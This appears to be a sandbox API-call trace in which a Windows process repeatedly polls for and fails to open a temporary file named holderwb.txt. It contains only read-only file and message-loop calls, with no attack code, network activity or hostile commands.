	[0099.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.573] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.573] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.574] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.574] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.574] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.574] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.574] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.575] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.575] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.575] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.575] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.575] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.575] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.576] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.576] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.576] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.576] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.576] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.576] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.577] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.577] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.577] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.577] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.577] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.577] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.577] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.577] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.578] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.578] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.578] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.578] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.578] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.578] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.578] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.578] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.578] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.579] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.579] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.579] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.579] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.579] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.579] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.579] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.580] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.580] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.580] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.580] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.580] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.581] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.581] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.581] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.581] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.582] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.582] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.582] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.582] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.582] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.582] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.583] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.583] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.583] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.583] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.583] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.583] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.583] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.584] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.584] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.584] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.584] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.584] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.584] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.585] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.585] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.585] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.585] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.586] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.586] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.586] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.586] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.587] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.587] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.587] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.587] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
